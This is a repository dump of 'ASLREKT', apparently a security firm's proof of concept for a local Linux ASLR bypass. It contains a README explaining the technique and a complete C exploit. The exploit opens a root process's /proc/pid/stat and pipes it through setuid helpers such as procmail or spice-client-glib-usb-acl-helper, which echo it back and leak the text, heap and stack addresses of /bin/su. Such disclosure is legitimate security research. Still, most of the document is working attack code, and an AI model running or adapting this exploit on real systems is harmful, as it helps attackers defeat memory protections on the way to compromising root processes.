├── ASLR B.jpg ├── README.md └── aslrekt.c /ASLR B.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blazeinfosec/aslrekt/HEAD/ASLR B.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # aslrekt 2 | 3 | ![ASLR](https://github.com/blazeinfosec/aslrekt/blob/master/ASLR%20B.jpg) 4 | 5 | ASLREKT is a proof of concept for an unfixed generic local ASLR bypass in Linux. 6 | 7 | ASLREKT requires a setuid binary that reads from stdin and writes to stdout/stderr (or to a readable file) the 8 | contents that it read. 9 | 10 | /proc/pid/stat is world-readable, however, if we aren't permitted to ptrace pid (!ptrace_may_access()), 11 | addresses aren't leaked and, instead, they are replaced with 0. The problem is that we can open() /proc/pid/stat 12 | and pass the fd as stdin of a newly executed special setuid binary (which can now ptrace pid) and read 13 | those addresses. In order for an attacker to be able to actually obtain them, the special setuid binary needs 14 | to write to stdout/stderr or readable file the contents that it read. There are several setuid binaries that do 15 | this, such as "procmail" which seems to be setuid on Debian-based systems, this includes Ubuntu. Another 16 | alternative is "spice-client-glib-usb-acl-helper". There may be more of these. This breaks ASLR for any process 17 | running under another uid, such as root. 18 | 19 | It's also possible to leak addresses via /proc/pid/syscall, it isn't world-readable, but we can open() it before a 20 | target setuid execve, and later leak them through the special setuid binary method. 21 | 22 | Modern Linux versions are still vulnerable. 23 | 24 | Copyright 2016-2020, Blaze Information Security 25 | -------------------------------------------------------------------------------- /aslrekt.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * ASLREKT is a proof of concept for generic local ASLR bypass in multiple 4 | * Linux kernel versions. 5 | * 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define OFFSET_TO_STACK 0x20ff0 18 | 19 | void parse(char *buf) 20 | { 21 | int count = 1; 22 | char *tok; 23 | tok = strtok(buf, " "); 24 | while(tok != NULL) { 25 | if(count == 31) 26 | printf("\n[+] /bin/su .text is at 0x%llx\n", strtoul(tok, NULL, 10)); 27 | else if(count == 52) 28 | printf("[+] /bin/su heap is at 0x%llx\n", strtoul(tok, NULL, 10)); 29 | else if(count == 56) 30 | printf("[+] /bin/su stack is at 0x%llx\n", strtoul(tok, NULL, 10) - OFFSET_TO_STACK); 31 | count++; 32 | tok = strtok(NULL, " "); 33 | } 34 | } 35 | 36 | int main(int argc, char **argv) 37 | { 38 | int fd, pid, pid2, p[2]; 39 | char buf[4096]; 40 | 41 | pid = fork(); 42 | 43 | if(pid == 0) { 44 | printf("***** ASLREKT *****\n"); 45 | snprintf(buf, sizeof(buf) - 1, "/proc/%d/stat", getppid()); 46 | pipe(p); 47 | 48 | pid2 = fork(); 49 | 50 | if(pid2 == 0) { 51 | dup2(p[1], 1); 52 | close(p[0]); 53 | close(p[1]); 54 | 55 | fd = open(buf, O_RDONLY); 56 | dup2(fd, 0); 57 | dup2(0, 2); 58 | close(fd); 59 | sleep(2); 60 | execlp("/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper", "spice-client-glib-usb-acl-helper", NULL); 61 | execlp("/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", "spice-client-glib-usb-acl-helper", NULL); 62 | execlp("/usr/bin/procmail", "procmail", NULL); 63 | } 64 | 65 | else { 66 | close(p[1]); 67 | wait(NULL); 68 | read(p[0], buf, sizeof(buf)); 69 | parse(buf); 70 | } 71 | } 72 | 73 | else { 74 | sleep(2); 75 | execlp("/bin/su", "su", NULL); 76 | } 77 | 78 | } 79 | --------------------------------------------------------------------------------